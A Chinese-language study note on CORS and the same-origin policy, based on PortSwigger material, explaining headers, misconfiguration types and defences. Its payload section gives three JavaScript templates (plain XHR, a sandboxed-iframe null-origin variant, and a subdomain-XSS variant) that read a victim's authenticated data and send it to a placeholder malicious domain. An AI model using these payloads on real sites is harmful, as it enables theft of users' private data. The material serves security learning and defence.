CORS笔记
个人总结
参考:https://portswigger.net/web-security/cors
- name: 个人总结
desc: 参考:https://portswigger.net/web-security/cors
bgColor: '#F0DFB1'
textColor: 'green'
1
2
3
4
2
3
4
# CORS笔记
# 1CORS 和 SOP基本知识
# 1、什么是CORS(跨域资源共享)?
答案
CORS(跨域资源共享)是一种浏览器机制,用于放宽同源策略的限制,对跨域资源进行受控访问。
- CORS 本身并不是安全漏洞,但是当 CORS 配置错误的时候,就有可能产生漏洞。
- CORS 也不是安全保护措施,因为它是用于放宽限制的,甚至可以说它是危害措施。
# 2、什么是同源策略?
答案
同源策略(SOP,Same Origin Policy)是一种浏览器安全机制,用于防止网站之间相互攻击。当一个网站 向 另一个网站发起请求时,发起请求的网站被称为 “源”。如果源网站 想读取 目标网站上的数据,则必须满足三个条件:
- 两个网站的协议相同
- 两个网站的域名相同
- 两个网站的端口相同
# 3、为什么需要同源策略?
答案
当浏览器从一个源 向 另一个源发送 HTTP 请求时,与另一个域相关的任何 Cookie(包括身份验证会话Cookie)也会作为请求的一部分发送。这意味着,响应信息将会在用户的会话中生成,并在其中包含特定于用户的任何相关数据。
举个例子,如果没有了同源策略:
- 某天,你的浏览器打开了百度,并且登录了你的百度账户。
- 然后,你访问了一个第三方网站,该网站上放置了 JavaScript 恶意代码。
- 在你不知情的时候,这些恶意 JavaScript 让你的浏览器偷偷发起了请求,访问了百度的个人信息页面,盗取了你的全部账户信息。
在这个例子中:
- 你登录了百度账户,浏览器有百度的 Cookie
- 你访问了恶意网站,网站偷偷向百度发起了请求
- 你 -->--> 恶意网站 -->--> 百度
- 恶意请求是由 JavaScript 发起的,而 JavaScript 是在你的浏览器中运行的
- 所以你的浏览器以为是你在请求百度,浏览器自动为恶意请求填充了百度的 Cookie
# 4、同源策略是如何实现的?
答案
主要针对的是 JavaScript:
- 允许跨域加载页面资源,例如
<img>
标签加载图像资源,<video>
标签加载视频资源等。 - 不允许 JavaScript 对跨域资源的任何访问。例如,虽然
<img>
可以跨域加载资源,但 JavaScript 无法读取<img>
具体加载了什么内容。
# 5、为什么要使用CORS来放宽同源策略,不放宽不行吗?
答案
由于现代网站的复杂性,许多网站都需要与 子域或第三方网站 进行数据交互,这要求跨域访问。同源策略对跨域请求的限制非常严格,因此人们通过 CORS 来控制性地放宽同源策略,以此满足业务上的需求。
# 6、网站如何实现CORS策略?
答案
使用一套响应标头来实现 CORS 的策略:
Access-Control-Allow-Origin
响应标头:允许一个请求源,例如Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Credentials
响应标头:标头的默认值为false
;当设置为true
时,将允许在请求中包含凭据(例如 Cookie)Access-Control-Allow-Methods
响应标头:只允许使用列出的请求方法,多个方法之间使用逗号分隔Access-Control-Allow-Headers
响应标头:允许使用列出的自定义请求头,多个请求头之间使用逗号分隔Access-Control-Max-Age
响应标头:规定了 缓存预检响应 的最大重发时间范围
示例:
...
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
1
2
3
4
5
6
2
3
4
5
6
# 7、CORS有哪些规范约束?
答案
Access-Control-Allow-Origin
响应标头允许使用通配符*
,但是通配符只能单独使用,不能在任何其他值中使用。例如Access-Control-Allow-Origin: https://*.example.com
是不允许的。- 通配符规则
Access-Control-Allow-Origin: *
不允许和Access-Control-Allow-Credentials: true
一起使用,因为这会 向所有人公开 网站上任何经过身份验证的内容。这是极其不安全的,所以当这两个策略一起使用时,它们会被阻止。
# 8、CORS能否作为CSRF漏洞的一种防范措施?
答案
不能,因为 CORS 不提供针对 CSRF 的保护。此外,如果 CORS 配置错误的话,反而可能增加 CSRF 攻击的可能性,或者加剧 CSRF 的影响。
- 配了,不能防止 CSRF 漏洞
- 配错了,反而还会增加 CSRF 漏洞的危害
# 2CORS配置错误时产生的漏洞
# 1、有哪些类型的CORS漏洞?
答案
- 客户端指定的 Origin 标头可用于动态生成服务端的 ACAO 标头;
- 解析 Origin 标头时出错(域名的开头 / 结尾欺骗);
- 受信任的 null 源;
- 子域上存在 XSS 漏洞,利用 CORS 信任关系来攻击其他域(同时,如果主域使用了
https
,但子域使用了普通的http:
协议,则可以破坏主域上的 TLS 加密); - 内网中的 CORS 无需凭据。
# 2、CORS漏洞有哪些载荷?
答案
标准载荷(会自动添加请求标头Origin
,参数值为当前站点):
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get', 'https://<受攻击的域>.com/sensitive-victim-data', true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//<恶意域>.com/log?key='+this.responseText;
};
1
2
3
4
5
6
7
8
9
10
2
3
4
5
6
7
8
9
10
沙箱iframe跨域请求(包含 null 源):
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','<受攻击的域>/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>
1
2
3
4
5
6
7
8
9
10
11
12
2
3
4
5
6
7
8
9
10
11
12
利用受信任子域上的 XSS 漏洞(包含子域源):
window.location = "http://<子域>.<受攻击的域>/?xss=<script>function reqListener() {window.location = '//<恶意域>/log?key=' + this.responseText;}var req = new XMLHttpRequest();req.onload = reqListener;req.withCredentials = true;req.open('GET', '//<受攻击的域>/sensitive-victim-data', true);req.send();</script>";
1
# 3CORS防护
# 1、如何防范基于CORS的攻击
答案
- 一、不要动态生成
Access-Control-Allow-Origin
响应标头,应该在服务器端配置固定值; - 二、只允许白名单中指定的源;
- 三、不使用
null
源,白名单中也不要有null
的存在; - 四、在内网中尽量不使用通配符
*
源; - 五、CORS 只是一种浏览器机制,不能充当安全防护策略,更不能作为服务器端的安全防护策略。
编辑 (opens new window)